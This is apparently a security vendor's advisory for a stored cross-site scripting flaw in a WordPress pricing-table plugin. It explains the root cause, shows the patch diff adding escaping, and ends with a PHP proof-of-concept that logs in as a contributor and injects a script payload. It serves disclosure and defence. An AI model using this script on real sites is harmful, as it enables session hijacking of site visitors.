Atomic Edge analysis of CVE-2025-15058:
The Responsive Pricing Table WordPress plugin version 5.1.12 and earlier contains an authenticated stored cross-site scripting vulnerability. The vulnerability exists in the plugin’s table currency setting functionality, allowing Contributor-level and higher authenticated users to inject arbitrary JavaScript. The CVSS 6.4 score reflects the attack’s impact on confidentiality and integrity with low attack complexity.
Atomic Edge research identified the root cause as insufficient input sanitization and output escaping for the ‘table_currency’ parameter. In the vulnerable version, the file `dk-pricr-responsive-pricing-table/inc/rpt-metaboxes-settings.php` at line 196 directly echoes the `$settings[‘_rpt_currency’]` value into an HTML input field without proper escaping. The file `dk-pricr-responsive-pricing-table/inc/rpt-save-metaboxes.php` at line 84 uses `wp_kses_post()` for sanitization, which permits some HTML tags including script elements. The file `dk-pricr-responsive-pricing-table/inc/rpt-shortcode.php` at line 167 uses `wp_kses_post()` for output, which also fails to neutralize script tags.
Attackers exploit this vulnerability by submitting malicious JavaScript payloads through the ‘table_currency’ parameter when editing or creating pricing tables. The attack vector requires Contributor-level authentication to access the plugin’s settings interface. Attackers craft payloads like `alert(document.cookie)` and submit them via POST requests to the WordPress admin area where the plugin processes pricing table settings. The payload persists in the database and executes whenever any user views a page containing the compromised pricing table shortcode.
The patch addresses the vulnerability through multiple defensive layers. In `rpt-metaboxes-settings.php` line 196, the fix adds `esc_attr()` to escape the currency value when outputting to the form field. In `rpt-save-metaboxes.php` line 84, the patch replaces `wp_kses_post()` with `sanitize_text_field()` during input processing, which strips all HTML tags. In `rpt-shortcode.php` line 167, the patch replaces `wp_kses_post()` with `esc_html()` during output rendering, which encodes HTML entities. These changes collectively prevent JavaScript execution by ensuring proper context-aware escaping at both input and output stages.
Successful exploitation allows attackers to execute arbitrary JavaScript in the context of any user viewing the compromised pricing table. This enables session hijacking, credential theft, administrative actions through CSRF, and defacement of affected pages. The stored nature means the payload executes for all subsequent visitors without further attacker interaction. While Contributor authentication is required, this privilege level is commonly granted to untrusted users in multi-author WordPress sites, making the vulnerability significant for shared hosting environments.
--- a/dk-pricr-responsive-pricing-table/inc/rpt-metaboxes-plans.php
+++ b/dk-pricr-responsive-pricing-table/inc/rpt-metaboxes-plans.php
@@ -290,7 +290,7 @@
<div class="dmb_clearfix"></div>
<div class="dmb_grid dmb_grid_35 dmb_grid_first dmb_grid_last">
- <div class="dmb_icon_data_url" data-icon="<?php echo $plan['_rpt_icon']; ?>"></div>
+ <div class="dmb_icon_data_url" data-icon="<?php echo esc_attr($plan['_rpt_icon']); ?>"></div>
<input class="dmb_field dmb_icon_field" name="plan_icons[]" type="text" value="" />
<div class="dmb_upload_icon_btn dmb_button dmb_button_large dmb_button_blue">
<?php _e('Upload icon', RPT_TXTDM ) ?>
--- a/dk-pricr-responsive-pricing-table/inc/rpt-metaboxes-settings.php
+++ b/dk-pricr-responsive-pricing-table/inc/rpt-metaboxes-settings.php
@@ -196,7 +196,7 @@
<div class="dmb_field_title">
<?php _e('Currency', RPT_TXTDM ) ?>
</div>
- <input class="dmb_field" type="text" name="table_currency" value="<?php echo $settings['_rpt_currency']; ?>" placeholder="<?php _e('e.g. $', RPT_TXTDM ) ?>" />
+ <input class="dmb_field" type="text" name="table_currency" value="<?php echo esc_attr($settings['_rpt_currency']); ?>" placeholder="<?php _e('e.g. $', RPT_TXTDM ) ?>" />
</div>
<div class="dmb_clearfix"></div>
--- a/dk-pricr-responsive-pricing-table/inc/rpt-save-metaboxes.php
+++ b/dk-pricr-responsive-pricing-table/inc/rpt-save-metaboxes.php
@@ -81,10 +81,10 @@
(isset($_POST['are_recommended_plans'][$i]) && $_POST['are_recommended_plans'][$i]) ? $new_plans[$i]['_rpt_recommended'] = $_POST['are_recommended_plans'][$i] : $new_plans[$i]['_rpt_recommended'] = 'no';
(isset($_POST['are_removed_currencies'][$i]) && $_POST['are_removed_currencies'][$i]) ? $new_plans[$i]['_rpt_free'] = $_POST['are_removed_currencies'][$i] : $new_plans[$i]['_rpt_free'] = 'no';
(isset($_POST['plan_custom_classes'][$i]) && $_POST['plan_custom_classes'][$i]) ? $new_plans[$i]['_rpt_custom_classes'] = stripslashes(strip_tags(sanitize_text_field($_POST['plan_custom_classes'][$i]))) : $new_plans[$i]['_rpt_custom_classes'] = '';
- (isset($_POST['plan_icons'][$i]) && $_POST['plan_icons'][$i]) ? $new_plans[$i]['_rpt_icon'] = stripslashes(strip_tags(sanitize_text_field($_POST['plan_icons'][$i]))) : $new_plans[$i]['_rpt_icon'] = '';
+ (isset($_POST['plan_icons'][$i]) && $_POST['plan_icons'][$i]) ? $new_plans[$i]['_rpt_icon'] = esc_url_raw($_POST['plan_icons'][$i]) : $new_plans[$i]['_rpt_icon'] = '';
/* Plan settings. */
- (isset($_POST['table_currency']) && $_POST['table_currency']) ? $table_currency = stripslashes(wp_kses_post($_POST['table_currency'])) : $table_currency = '';
+ (isset($_POST['table_currency']) && $_POST['table_currency']) ? $table_currency = sanitize_text_field($_POST['table_currency']) : $table_currency = '';
(isset($_POST['table_btn_behavior']) && $_POST['table_btn_behavior']) ? $table_btn_behavior = stripslashes(strip_tags(sanitize_text_field($_POST['table_btn_behavior']))) : $table_btn_behavior = '';
/* Font sizes. */
--- a/dk-pricr-responsive-pricing-table/inc/rpt-shortcode.php
+++ b/dk-pricr-responsive-pricing-table/inc/rpt-shortcode.php
@@ -139,7 +139,7 @@
$table_view .= '<div '.$title_style.' class="rpt_title rpt_title_'.$key.'">';
if (!empty($plan['_rpt_icon'])) {
- $table_view .= '<img src="'.$plan['_rpt_icon'].'" class="rpt_icon rpt_icon_'.$key.'"/> ';
+ $table_view .= '<img src="'.esc_url($plan['_rpt_icon']).'" class="rpt_icon rpt_icon_'.$key.'"/> ';
}
$table_view .= wp_kses_post($plan['_rpt_title']);
@@ -164,9 +164,9 @@
$currency = get_post_meta($post->ID, '_rpt_currency', true);
if (!empty($currency)) {
- $table_view .= '<sup class="rpt_currency">';
- $table_view .= wp_kses_post($currency);
- $table_view .= '</sup>';
+ $table_view .= '<sup class="rpt_currency">';
+ $table_view .= esc_html($currency);
+ $table_view .= '</sup>';
}
$table_view .= do_shortcode(wp_kses_post($plan['_rpt_price']));
--- a/dk-pricr-responsive-pricing-table/rpt.php
+++ b/dk-pricr-responsive-pricing-table/rpt.php
@@ -4,7 +4,7 @@
* Plugin Name: Responsive Pricing Table
* Plugin URI: https://wpdarko.com/items/responsive-pricing-table-pro/
* Description: A responsive, easy and elegant way to present your offer to your visitors. Just create a new pricing table (custom type) and copy-paste the shortcode into your posts/pages. Find help and information on our <a href="https://help.wpdarko.com/en">support site</a>. This free version is NOT limited and does not contain any ad. Check out the <a href='https://wpdarko.com/items/responsive-pricing-table-pro/'>PRO version</a> for more great features.
- * Version: 5.1.12
+ * Version: 5.1.13
* Author: WP Darko
* Author URI: https://wpdarko.com
* Text Domain: dk-pricr-responsive-pricing-table
@@ -19,7 +19,7 @@
define('RPT_TXTDM', 'dk-pricr-responsive-pricing-table');
/* Defines plugin's version. */
-define('RPT_VER', '5.1.12');
+define('RPT_VER', '5.1.13');
/* General. */
require_once 'inc/rpt-text-domain.php';
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15058 - Responsive Pricing Table <= 5.1.12 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'table_currency'
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
$payload = '<script>alert("Atomic Edge XSS Test");</script>';
// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute login and capture cookies
$response = curl_exec($ch);
// Check if login succeeded by looking for dashboard redirect
if (strpos($response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Navigate to the pricing table creation/edit page
// First, we need to find a pricing table post ID to edit
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/edit.php?post_type=wpdark_rpt');
$response = curl_exec($ch);
// Extract first pricing table edit link (simplified - in real scenario would parse HTML)
// For this PoC, we assume we're creating a new pricing table
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php?post_type=wpdark_rpt');
$response = curl_exec($ch);
// Extract nonce from the page (simplified - would need proper HTML parsing)
// For demonstration, we'll use a placeholder nonce extraction
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
// Submit the malicious currency payload
// The plugin saves settings via admin-post.php or similar endpoint
// Based on the code, the 'table_currency' parameter is processed in rpt-save-metaboxes.php
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-post.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'editpost',
'post_type' => 'wpdark_rpt',
'_wpnonce' => $nonce,
'table_currency' => $payload,
'save' => 'Save Pricing Table'
]));
$response = curl_exec($ch);
// Verify payload was stored by checking if script appears in page source
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/edit.php?post_type=wpdark_rpt');
$response = curl_exec($ch);
if (strpos($response, $payload) !== false) {
echo 'Payload successfully injected. XSS will trigger when users view the pricing table.';
} else {
echo 'Payload injection may have failed. Check permissions and nonce.';
}
curl_close($ch);
?>